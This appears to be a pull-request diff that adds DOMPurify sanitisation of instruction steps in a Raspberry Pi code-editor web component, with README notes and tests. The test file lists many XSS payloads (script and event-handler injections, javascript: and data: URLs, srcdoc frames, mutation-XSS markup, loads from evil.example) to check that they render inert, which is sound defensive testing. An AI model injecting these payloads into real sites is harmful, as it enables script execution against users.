Sanitise project instructions before rendering them

README.md

@@ -246,6 +246,18 @@ Styles from the parent application can be passed to the web component in a few d
 }
 ```
 
+#### Instructions Sanitisation
+
+Instruction steps are rendered into the page with `innerHTML`, so every step is
+sanitised with DOMPurify first (see `src/utils/sanitiseInstructions.js`). This
+applies to steps passed in the `instructions` attribute and to steps loaded with
+a project. Scripts, event handler attributes, `javascript:` and `data:` URLs and
+stylesheets outside a scratchblocks SVG are removed.
+
+`<iframe>` is kept only when its `src` is `https://editor.raspberrypi.org` or
+`https://staging-editor.raspberrypi.org`, so that the embedded project viewers
+used by project site content keep working. Any other frame is removed.
+
 #### Instructions Styling
 
 Classes from the stringified HTML passed to the web component in the `instructions` attribute are being used to style the project steps in the instructions panel.

src/components/Menus/Sidebar/InstructionsPanel/InstructionsStep/InstructionsStep.jsx

@@ -1,13 +1,16 @@
 import React, { useEffect, useRef } from "react";
 import { processEditorProject } from "@raspberrypifoundation/rpf-markdown-core";
 import Prism from "../../../../../utils/prism";
+import sanitiseInstructions from "../../../../../utils/sanitiseInstructions";
 import { scratchblocksInit } from "../../../../../utils/scratchblocks";
 
 const getStepHtml = (step) => {
-  if (step.content !== undefined) {
-    return step.content;
-  }
-  return processEditorProject(step.markdown_content ?? "");
+  const html =
+    step.content !== undefined
+      ? step.content
+      : processEditorProject(step.markdown_content ?? "");
+
+  return sanitiseInstructions(html);
 };
 
 const applySyntaxHighlighting = (container) => {

src/components/Menus/Sidebar/InstructionsPanel/InstructionsStep/InstructionsStep.test.jsx

@@ -47,6 +47,36 @@ describe("When the step has markdown_content", () => {
   });
 });
 
+describe("Sanitising step HTML", () => {
+  test("Strips scripts from content supplied as HTML", () => {
+    const { container } = render(
+      <InstructionsStep
+        step={{
+          content: "<p>Step</p><script>window.hacked = true</script>",
+        }}
+      />,
+    );
+
+    expect(screen.getByText("Step")).toBeInTheDocument();
+    expect(container.querySelector("script")).toBeNull();
+  });
+
+  test("Strips scripts from content supplied as markdown", () => {
+    const { container } = render(
+      <InstructionsStep
+        step={{
+          markdown_content: "# Title\n\n<script>window.hacked = true</script>",
+        }}
+      />,
+    );
+
+    expect(
+      screen.getByRole("heading", { level: 1, name: "Title" }),
+    ).toBeInTheDocument();
+    expect(container.querySelector("script")).toBeNull();
+  });
+});
+
 describe("When markdown attaches a class to inline code", () => {
   const renderMarkdown = (markdown_content) =>
     render(<InstructionsStep step={{ markdown_content }} />).container;

src/utils/sanitiseInstructions.js

@@ -0,0 +1,52 @@
+import DOMPurify from "dompurify";
+
+// Some project steps embed the editor's own project viewer to show a worked
+// example. Frames from anywhere else are removed
+const EMBED_ORIGINS = [
+  "https://editor.raspberrypi.org",
+  "https://staging-editor.raspberrypi.org",
+];
+
+const isProjectViewer = (src) => {
+  try {
+    return EMBED_ORIGINS.includes(new URL(src, window.location.href).origin);
+  } catch {
+    return false;
+  }
+};
+
+const sanitiseConfig = {
+  // `use` draws the icons inside a scratchblocks SVG, such as the green flag
+  ADD_TAGS: ["iframe", "use"],
+  ADD_ATTR: [
+    "allowfullscreen",
+    "frameborder",
+    "marginheight",
+    "marginwidth",
+    "target",
+  ],
+};
+
+const purifier = DOMPurify(window);
+
+const remove = (node) => node.parentNode?.removeChild(node);
+
+purifier.addHook("uponSanitizeElement", (node, { tagName }) => {
+  if (tagName === "iframe" && !isProjectViewer(node.getAttribute("src"))) {
+    return remove(node);
+  }
+
+  // A stylesheet anywhere else would restyle the rest of the editor
+  if (tagName === "style" && !node.closest("svg")) {
+    return remove(node);
+  }
+
+  // Same document references only, so a `use` cannot pull in outside markup
+  if (tagName === "use" && !node.getAttribute("href")?.startsWith("#")) {
+    return remove(node);
+  }
+});
+
+const sanitiseInstructions = (html) => purifier.sanitize(html, sanitiseConfig);
+
+export default sanitiseInstructions;

src/utils/sanitiseInstructions.test.js

@@ -0,0 +1,210 @@
+import { processEditorProject } from "@raspberrypifoundation/rpf-markdown-core";
+import sanitiseInstructions from "./sanitiseInstructions";
+
+const parse = (html) => {
+  const container = document.createElement("div");
+  container.innerHTML = sanitiseInstructions(html);
+  return container;
+};
+
+const eventHandlerAttributes = (container) =>
+  Array.from(container.querySelectorAll("*")).flatMap((element) =>
+    Array.from(element.attributes)
+      .map((attribute) => attribute.name)
+      .filter((name) => name.startsWith("on")),
+  );
+
+describe("Scriptable payloads", () => {
+  const payloads = {
+    "script element": "<script>window.hacked = true</script>",
+    "script src": '<script src="https://evil.example/x.js"></script>',
+    "img onerror": '<img src="x" onerror="window.hacked = true">',
+    "svg onload": '<svg onload="window.hacked = true"></svg>',
+    "body onload": '<body onload="window.hacked = true">text</body>',
+    "details ontoggle":
+      '<details open ontoggle="window.hacked = true">x</details>',
+    "unknown element with handler":
+      '<xss id="x" tabindex="1" onfocus="window.hacked = true"></xss>',
+    "javascript href": '<a href="javascript:window.hacked = true">click</a>',
+    "javascript href with entities":
+      '<a href="java&#115;cript:window.hacked = true">click</a>',
+    "data url href":
+      '<a href="data:text/html;base64,PHNjcmlwdD53aW5kb3cuaGFja2VkPXRydWU8L3NjcmlwdD4=">click</a>',
+    "form action":
+      '<form action="javascript:window.hacked = true"><button>go</button></form>',
+    "formaction button":
+      '<button formaction="javascript:window.hacked = true">go</button>',
+    "third party iframe": '<iframe src="https://evil.example/x"></iframe>',
+    "iframe srcdoc":
+      '<iframe srcdoc="<script>window.hacked = true</script>"></iframe>',
+    "allowed origin iframe with srcdoc":
+      '<iframe src="https://editor.raspberrypi.org/en/embed/viewer/x" srcdoc="<script>window.hacked = true</script>"></iframe>',
+    object: '<object data="javascript:window.hacked = true"></object>',
+    embed: '<embed src="https://evil.example/x.swf">',
+    "meta refresh":
+      '<meta http-equiv="refresh" content="0;url=https://evil.example">',
+    base: '<base href="https://evil.example/">',
+    "link stylesheet":
+      '<link rel="stylesheet" href="https://evil.example/x.css">',
+    "style element": "<style>.project-instructions { display: none }</style>",
+    "style import": "<style>@import url(https://evil.example/x.css)</style>",
+    "external svg use":
+      '<svg><use href="https://evil.example/x.svg#y" /></svg>',
+    template: "<template><script>window.hacked = true</script></template>",
+    noscript:
+      '<noscript><p title="</noscript><img src=x onerror=window.hacked=true>">',
+    "mutation xss":
+      '<math><mtext><table><mglyph><style><!--</style><img title="--><textarea onfocus=window.hacked=true autofocus>"></mglyph></table></mtext></math>',
+  };
+
+  test.each(Object.entries(payloads))("%s renders inert", (_name, payload) => {
+    const container = parse(payload);
+    const html = container.innerHTML;
+
+    expect(container.querySelector("script")).toBeNull();
+    expect(container.querySelector("style")).toBeNull();
+    expect(container.querySelector("iframe[srcdoc]")).toBeNull();
+    expect(
+      container.querySelector("object, embed, link, base, meta"),
+    ).toBeNull();
+    expect(eventHandlerAttributes(container)).toEqual([]);
+    expect(html).not.toMatch(/javascript:/i);
+    expect(html).not.toMatch(/data:text\/html/i);
+    expect(html).not.toMatch(/evil\.example/i);
+  });
+
+  test("Strips scriptable payloads written as markdown", () => {
+    const container = parse(
+      processEditorProject(
+        "[click](javascript:alert)\n\n<script>window.hacked = true</script>\n",
+      ),
+    );
+
+    expect(container.querySelector("script")).toBeNull();
+    expect(container.querySelector("a")).not.toBeNull();
+    expect(container.querySelector('a[href^="javascript:"]')).toBeNull();
+  });
+});
+
+describe("Embedded project viewers", () => {
+  const embed = (src) =>
+    `<iframe src="${src}" width="600" height="600" frameborder="0" marginwidth="0" marginheight="0" allowfullscreen></iframe>`;
+
+  test.each([
+    "https://editor.raspberrypi.org/en/embed/viewer/editor-mapping-data-step-2",
+    "https://staging-editor.raspberrypi.org/embed/viewer/fruit-face-example?show_visual_tab=true",
+  ])("Keeps the embed at %s", (src) => {
+    const iframe = parse(embed(src)).querySelector("iframe");
+
+    expect(iframe).not.toBeNull();
+    expect(iframe.getAttribute("src")).toEqual(src);
+    expect(iframe.getAttribute("width")).toEqual("600");
+    expect(iframe.getAttribute("allowfullscreen")).not.toBeNull();
+  });
+
+  test.each([
+    "https://evil.example/x",
+    "https://editor.raspberrypi.org.evil.example/x",
+    "//evil.example/x",
+    "/en/embed/viewer/x",
+  ])("Removes the embed at %s", (src) => {
+    expect(parse(embed(src)).querySelector("iframe")).toBeNull();
+  });
+});
+
+describe("Project site content", () => {
+  test("Keeps callouts, task checkboxes and headings", () => {
+    const container = parse(
+      '<h2 class="c-project-heading--task" id="step-1">Step 1</h2>' +
+        '<div class="c-project-callout c-project-callout--tip" style="font-size: 1.1em">' +
+        '<h3 id="tip">Tip</h3></div>' +
+        '<div class="c-project-task">' +
+        '<input class="c-project-task__checkbox" type="checkbox" aria-label="Mark this task as complete" />' +
+        "</div>",
+    );
+
+    expect(container.querySelector("h2.c-project-heading--task").id).toEqual(
+      "step-1",
+    );
+    expect(
+      container.querySelector(".c-project-callout--tip").getAttribute("style"),
+    ).toEqual("font-size: 1.1em");
+    expect(container.querySelector("h3#tip")).not.toBeNull();
+    expect(
+      container
+        .querySelector('input[type="checkbox"]')
+        .getAttribute("aria-label"),
+    ).toEqual("Mark this task as complete");
+  });
+
+  test("Keeps the attributes the syntax highlighter relies on", () => {
+    const container = parse(
+      '<pre dir="ltr" class="line-numbers" data-start="10" data-line-offset="10" data-line="11">' +
+        '<code class="language-python" dir="ltr">print(&#39;Hello&#39;)</code></pre>',
+    );
+
+    const pre = container.querySelector("pre");
+    expect(pre.getAttribute("data-line")).toEqual("11");
+    expect(pre.getAttribute("data-start")).toEqual("10");
+    expect(pre.getAttribute("data-line-offset")).toEqual("10");
+    expect(pre.getAttribute("dir")).toEqual("ltr");
+    expect(container.querySelector("code.language-python").textContent).toEqual(
+      "print('Hello')",
+    );
+  });
+
+  test("Keeps images and links", () => {
+    const container = parse(
+      '<p><img src="https://projects-static.raspberrypi.org/projects/x/images/y.png" alt="A screenshot" width="300" /></p>' +
+        '<a href="https://projects.raspberrypi.org/en/projects/x" target="_blank">Link</a>',
+    );
+
+    expect(container.querySelector("img").alt).toEqual("A screenshot");
+    expect(container.querySelector("a").getAttribute("target")).toEqual(
+      "_blank",
+    );
+  });
+
+  test("Keeps code samples that contain HTML", () => {
+    const container = parse(
+      '<pre><code class="language-html">&lt;script&gt;alert(1)&lt;/script&gt;</code></pre>',
+    );
+
+    expect(container.querySelector("script")).toBeNull();
+    expect(container.querySelector("code").textContent).toEqual(
+      "<script>alert(1)</script>",
+    );
+  });
+});
+
+describe("Scratch blocks", () => {
+  const scratchblocksHtml = processEditorProject(
+    "```blocks\nwhen green flag clicked\nsay [Hello] for (2) seconds\n```\n",
+  );
+
+  test("Keeps the rendered SVG, its stylesheet and its icons", () => {
+    const container = parse(scratchblocksHtml);
+
+    const svg = container.querySelector("svg");
+    expect(svg).not.toBeNull();
+    expect(svg.querySelector("style")).not.toBeNull();
+    expect(svg.querySelectorAll("use").length).toBeGreaterThan(0);
+    expect(svg.querySelector("use").getAttribute("href")).toMatch(/^#/);
+  });
+
+  test("Keeps the block markup the editor renders client side", () => {
+    const container = parse(
+      '<pre><code class="language-blocks">when green flag clicked</code></pre>',
+    );
+
+    expect(container.querySelector("code.language-blocks").textContent).toEqual(
+      "when green flag clicked",
+    );
+  });
+});
+
+describe("When there is nothing to sanitise", () => {
+  test.each([undefined, null, ""])("Returns an empty string for %s", (html) => {
+    expect(sanitiseInstructions(html)).toEqual("");
+  });
+});